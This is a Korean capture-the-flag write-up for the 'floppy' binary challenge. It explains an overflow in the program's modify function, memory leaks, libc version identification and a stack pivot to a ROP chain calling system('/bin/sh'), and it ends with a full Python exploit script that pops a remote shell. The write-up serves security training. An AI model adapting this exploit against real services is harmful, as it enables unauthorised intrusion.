CTF solver & Writeup author
- milssi
그림 1. floppy 문제 설명
본격적인 분석에 앞서 checksec 를 통해 파일을 살펴 보자.
그림 2. floppy checksec
파일 자체에 NX 와 PIE 가 걸려있다.
그림 3. floppy 실행 화면
프로그램에는 두 개의 floppy 디스크가 존재하며, 각각 description, data 로 나누어져 각 부분에 데이터의 쓰기, 읽기, 수정이 가능하다.
그림 4. 데이터 입력
표 1. floppy 구조
floppy 는 구조체로 구현되어 있고, description 은 12 의 크기로 스택 메모리에 data 는 200 의 크기의 힙 영역에 저장된다.
그림 5. modify 함수 오버플로우 취약점 부분
소스코드를 분석해 보면, 수정 함수(modify) 부분에 description 부분을 수정하는 과정에서 오버플로우 취약점이 존재하는 것을 볼 수 있다.
위 표 1을 살펴보면, floppy1 의 description 에서 ret 까지 0x24 만큼의 차이가 나는 것을 볼 수 있다. 즉 modify 를 통해 floppy1 의 description 수정을 통해 ret 의 하위 1바이트까지 수정이 가능하다.
하지만 main 의 함수 종료 부분을 살펴보면 ebp-0x8 부분에 존재하는 값을 esp 에 넣어주고 ret 명령을 수행하는 것을 볼 수 있다. 즉 esp 컨트롤 및 ret 주소의 컨트롤이 가능하다는 것이다.
그림 6. main 함수 종료부분
프로그램에 NX 가 걸려 있으므로 rop 를 사용하여 공격한다.
메모리 주소는 표 2와 같이 description 수정을 해준 후, read 명령을 쓰는 것으로 쉽게 알아낼 수 있다.
표 2. 입력 바이트 수 및 메모리 leak
또한 floppy2 description 수정을 통해 floppy1 의 data 부분을 원하는 주소로 덮어쓴 후, floppy1 을 read 하면 원하는 주소의 데이터를 읽어올 수 있다.
이를 이용하여 아래와 같이 공격에 필요한 주소 값들을 구한다.
그림 7. 서버 측으로부터 얻어 온 주소
이 문제에는 특이점이 존재하는데, libc 의 함수 (read, puts...) 가 실행되어도 got.plt 테이블에 함수 주소가 매핑되지 않는다. 매핑된 주소를 구할 수 있는 함수는 __libc_start_main 밖에 없으며, 이를 이용하여 사용하는 libc 버전 및 offset 들을 구해야 한다.
libc database 를 사용하여 검색한 결과, __libc_start_main 의 오프셋 하위 3바이트가 0x650 인 2개 버전을 찾아낼 수 있었고, 두 버전의 system, /bin/sh 의 오프셋을 구했다.
그림 8. libcc database 를 통한 libc 버전 검색
그림 9. libc database 를 통한 offset 계산
그림 10. 각 라이브러리에 __libc_start_main 오프셋 계산
이제 공격에 필요한 요소를 모두 구했다. 공격 시나리오는 다음과 같다.
1) memory leak 을 통해 주소 구하기
2) payload 작성
2-1) ROP 페이로드 작성
[ system address ] [ dummy ] [ '/bin/sh' address ]
2-2) floppy2 의 description 을 수정하여 floppy1 의 위치에 페이로드 덮어쓰기
2-3) ebp-0x8 부분, esp 컨트롤이 발생하는 주소에 floppy1 의 주소를 덮어씀.
3) esp 컨트롤이 발생하면 floppy1 에 위치한 페이로드가 실행
4) exploit
위의 시나리오로 공격을 수행하여 다음과 같이 쉘을 획득할 수 있었다.
ex.py
from socket import *
import time
import re
import struct
import telnetlib
def interact():
t = telnetlib.Telnet()
t.sock = cli
t.interact();
def floppy_choice(num):
cli.recv(1024)
cli.send("1\n")
time.sleep(0.3)
send_str=str(num)+"\n"
cli.recv(1024)
cli.send(send_str)
time.sleep(0.3)
def floppy_write():
cli.recv(1024)
cli.send("2\n")
time.sleep(0.3)
cli.recv(1024)
cli.send("aaaa\n")
time.sleep(0.3)
cli.recv(1024)
cli.send("aaaa\n")
time.sleep(0.3)
def floppy_read():
cli.recv(1024)
cli.send("3\n")
time.sleep(0.5)
ret_str=cli.recv(1024)
cli.send("3\n")
time.sleep(0.3)
return ret_str
def floppy_modify(num,text):
cli.recv(1024)
cli.send("4\n")
time.sleep(0.3)
cli.recv(1024)
send_str=str(num)+"\n"
cli.send(send_str)
time.sleep(0.3)
cli.recv(1024)
cli.send(text)
time.sleep(0.3)
def floppy_calcu(mode,offset,text,iszero):
if mode == 1:
l=desc.findall(text)
elif mode == 2:
l=data.findall(text)
tmp = str(l[0])
temp= tmp[offset::]
temp1=0
if iszero == 0:
i=3
while i>-1:
temp1 = temp1 * 256
temp1 += ord(temp[i])
i-=1
elif iszero == 1:
i=3
while i>0:
temp1 = temp1 * 256
temp1 += ord(temp[i])
i-=1
temp1 = temp1 * 256
return temp1
data=re.compile(r'DATA:.*',re.I)
desc=re.compile(r'DESCRIPTION:.*',re.I)
cli = socket(AF_INET, SOCK_STREAM)
###server###
#cli.connect(('175.119.158.134',5559))
#libc_start_offset= 0x18650
#sh_offset = 0x15c8db
#system_offset = 0x3acf0
###local###
cli.connect(('192.168.1.104',50001))
libc_start_offset=0x19990
sh_offset =0x160a24
system_offset =0x40190
################################start################################
###Initialize###
floppy_choice(1)
floppy_write()
floppy_choice(2)
floppy_write()
###Initialize###
####memory leak###
for_heap="A"*0x14+"\n"
for_floppy="B"*0x18 + "\n"
floppy_choice(2)
floppy_modify(1,for_heap)
floppy_choice(2)
heap_add=floppy_calcu(1,33,floppy_read(),0)
floppy_choice(1)
floppy_modify(1,for_floppy)
floppy_choice(1)
floppy_add=floppy_calcu(1,29,floppy_read(),0)
print "\nheap address : " +hex(heap_add)
print "*floppy1 address : " +hex(floppy_add)
###memory leak###
###memory leak_(codebase & got.plt table & __libc_start_main)###
ret_add_in_floppy_read = floppy_add - 0x38
for_ret = "A"*0x14 + struct.pack("<I",ret_add_in_floppy_read) +"bbb\n"
floppy_choice(2)
floppy_modify(1,for_ret)
floppy_choice(1)
read_code_add=floppy_calcu(2,6,floppy_read(),0)
code_base_add = read_code_add - 0x10cb
read_got_plt_add = code_base_add + 0x2704
for i in range(11,12):
for_ret = "A"*0x14
for_ret+=struct.pack("<I",read_got_plt_add+(i*0x4))
for_ret+="bbb\n"
floppy_choice(2)
floppy_modify(1,for_ret)
floppy_choice(1)
tmp= floppy_read()
libc_start_main_add=floppy_calcu(2,6,tmp,0)
print "code base address : " + hex(code_base_add)
print "__libc_start_main address : " + hex(libc_start_main_add)
###memory leak_(codebase & got.plt table & __libc_start_main)###
###exploit###
sh_add = libc_start_main_add - libc_start_offset + sh_offset
system_add =libc_start_main_add - libc_start_offset + system_offset
print "'/bin/sh' address : " + hex(sh_add)
print "system address : " + hex(system_add)
payload = "A"*0xc + struct.pack("<I",system_add)+ struct.pack("<I",sh_add)*2 + "\n"
payload2 = struct.pack("<I",floppy_add)*11 + "\n"
floppy_choice(2)
floppy_modify(1,payload)
floppy_choice(1)
floppy_modify(1,payload2)
###exploit###
cli.send("id\n")
time.sleep(1)
print cli.recv(1024)
print "\nI'm in shell :)"
interact()
'Writeup' 카테고리의 다른 글
Codegate 2016 - Cemu (0) | 2016.03.20 |
---|